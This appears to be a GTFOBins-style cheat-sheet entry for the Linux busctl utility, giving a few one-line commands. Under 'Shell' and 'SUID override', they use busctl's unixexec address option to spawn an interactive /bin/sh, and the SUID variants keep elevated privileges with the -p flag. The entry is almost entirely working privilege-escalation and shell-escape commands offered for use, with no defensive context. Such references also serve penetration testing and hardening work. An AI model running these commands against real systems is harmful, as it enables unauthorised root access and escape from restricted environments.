busctl

Inherit

busctl --show-machine

Shell

busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'

SUID override:

busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'
busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'

SUID override:

busctl --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'